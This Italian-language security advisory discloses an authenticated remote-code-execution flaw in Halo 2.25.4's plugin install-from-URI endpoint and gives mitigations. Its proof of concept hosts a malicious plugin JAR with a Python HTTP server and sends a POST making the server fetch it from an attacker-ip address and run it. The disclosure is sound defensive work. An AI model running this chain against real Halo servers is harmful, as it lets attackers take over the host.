
Dimostra una vulnerabilità di esecuzione remota di codice autenticata in Halo 2.25.4 tramite installazione di plugin URI non validata, inclusa analisi tecnica e proof-of-concept dello sfruttamento.
È stata identificata una vulnerabilità di sicurezza critica nella versione 2.25.4 di Halo. L'applicazione fornisce un endpoint amministrativo per installare o aggiornare plugin da un URI remoto. Tuttavia, il sistema non valida il dominio di origine dell'URI e non dispone di protezioni Server-Side Request Forgery (SSRF) su questo specifico componente. Un utente autenticato con privilegi di gestione dei plugin può fornire un collegamento a un file JAR di plugin creato in modo dannoso. Il server scaricherà, memorizzerà temporaneamente e caricherà dinamicamente il file JAR nel contesto JVM utilizzando il framework PF4J e DefaultPluginApplicationContextFactory di Spring. Ciò consente l'esecuzione di classi di estensione non attendibili, con conseguente Esecuzione Remota di Codice (RCE) arbitraria sul sistema operativo host sottostante.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)Si prega di separare con virgole quando si invia al modulo CVE:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Un amministratore autenticato può inviare una richiesta HTTP POST appositamente predisposta contenente un URL JAR di plugin remoto dannoso all'endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
L'esecuzione remota di codice avviene attraverso la seguente sequenza di operazioni:
PluginEndpoint.installFromUri() elabora il corpo della richiesta in arrivo (InstallFromUriRequest) ed estrae la stringa uri fornita dall'utente. Non viene applicato alcun filtro di whitelist del dominio.DefaultReactiveUrlDataBufferFetcher.fetch(uri). A differenza di altri componenti di rete interni in Halo, questo fetcher non richiama HttpSecurityUtils.secureHttpClient(), saltando le restrizioni sugli IP di rete privata/loopback interni (protezione SSRF).writeToTempFile(content).pluginService.install(path), che sfrutta JarPluginLoader di PF4J per decomprimere e caricare il file JAR.DefaultPluginApplicationContextFactory di Spring analizza automaticamente i metadati all'interno del plugin.yaml del plugin e registra tutte le classi di estensione dichiarate nel contesto dell'applicazione come Active Spring Beans.static {}) o nei blocchi di metodo annotati con @PostConstruct verrà eseguito immediatamente durante la creazione dell'istanza tramite Runtime.getRuntime().exec().PluginEndpoint.java righe 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Unvalidated network fetch
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
L'attaccante compila un file JAR di plugin PF4J/Halo standard (poc-plugin.jar) contenente una classe di estensione con un meccanismo di esecuzione del payload all'interno di un hook del ciclo di vita @PostConstruct o di un blocco statico. L'attaccante lo ospita su un listener esterno:
Bash
python3 -m http.server 9999
L'utente amministrativo autenticato invia la seguente richiesta HTTP al server Halo di destinazione:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
Il server elabora l'installazione, recupera l'artefatto dal server dell'attaccante, registra l'estensione ed esegue il comando di sistema compilato, compromettendo l'host di destinazione.


application.yaml) e dei file memorizzati.uri in arrivo. Limitare gli schemi di installazione remota a marketplace ufficiali dell'ecosistema verificati e attendibili (ad es., https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher per utilizzare l'utilità esistente HttpSecurityUtils.secureHttpClient() al fine di bloccare le richieste che puntano a loopback (127.0.0.1), link-local (169.254.169.254) o reti di classe privata (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader dovrebbe validare gli hash dei file o le firme crittografiche rispetto alle chiavi pubbliche fornite dal repository ufficiale prima di passarli a DefaultPluginApplicationContextFactory per l'istanziazione del contesto.